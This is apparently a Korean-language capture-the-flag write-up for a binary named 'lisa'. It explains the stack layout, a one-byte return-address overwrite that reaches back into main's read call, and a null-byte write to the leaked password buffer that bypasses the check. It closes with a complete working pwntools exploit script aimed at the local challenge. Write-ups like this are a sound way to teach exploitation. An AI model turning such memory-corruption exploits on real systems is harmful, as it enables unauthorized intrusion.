미티게이션이 특이하다. PIE와 NX가 걸려있고, canary는 없다.
main함수에서
8 번째 줄에서 bss영역인 pass에 malloc을 하고,
9 번째 줄에서 그 주소를 릭해준다.
이걸로 인해 PIE나 ASLR이 우회가 가능할 것으로 보인다. (처음에는 그런줄 알았다...)
위 함수는 취약한 함수인 fail 함수이다.
매개변수인 buf에 29바이트(0x1d)만큼 받는데,
buf는 ebp에서 24바이트 (0x18) 만큼 떨어져있다.
그러니까 대충 아래와 같은 구조이다.
buf (24) |
sfp |
ret |
이 상태에서 29바이트 만큼 read받으니까 sfp를 덮을 수 있고,
그 이후에 두 번의 leave-ret이 실행되므로 (checkPass leave-ret, main leave-ret)
fake ebp라고 생각했다.
그리고 아래 lisa()함수 내에 플래그를 읽어주는 부분도 있다.
하지만 heap leak하나 만으로는 저 부분으로 흐름 조작하기가 쉽지 않아 꽤나 고생했다.
fake ebp를 통해 성공적으로 eip를 잡을 수 있지만,
이 기법이 성공하기 위해선 흐름을 조작하기 원하는 곳의 주소가 메모리에 있어야 했고, (ret 명령어는 pop eip; jmp eip 이므로)
더군다나 PIE가 걸려있어 불가능했다.
이쯤에서 다음 사실을 재-상기해보자.
1. heap 릭을 해준다.
2. sfp까지 덮을 수 있지만, 사실 리턴 어드레스(eip)도 한 바이트 덮을 수 있다.
main함수를 다시 보면, 14번 째 줄에서 read함수를 부른다.
eip조작하여 한 바이트 오버플로우 난 부분은 사실상 checkPass()함수의 리턴어드레스이므로 main으로 돌릴 수 있다.
0x15로 돌리면 된다.
main의 11번째 줄에서 맨 처음에 read받을 때 조작할 read의 매개변수를 미리 넣어주고,
그다음에 read를 call하면 릭한 곳에 원하는 값을 넣을 수 있다.
leak한 주소에 1바이트 "\x00"을 박으면 password는 null이 되고, inp는 payload1이므로 역시 1이 된다.
둘 다 널이 되므로,
password를 모르더라고 checkPass() 함수 내의 if문을 통과할 수 있고, lisa() 함수를 부를 수 있다.
from pwn import * #context.terminal = ['tmux', 'splitw', '-h'] p = process('./lisa') e = ELF('./lisa', checksec=False) code_base = p.libs()[e.path] #gdb.attach(p, 'b*'+str((code_base+0xd15))) print 'code base :', hex(code_base) p.recvuntil('0x') leak = int(p.recv(8), 16) print 'leak :', hex(leak) payload1 = p32(0x0) # fd payload1 += p32(leak) # buf payload1 += p32(1) # len p.sendafter('alright...', payload1) payload2 = "A"*28 payload2 += "\x15" # call read p.sendafter("mouth?\n", payload2) p.send("\x00") p.interactive()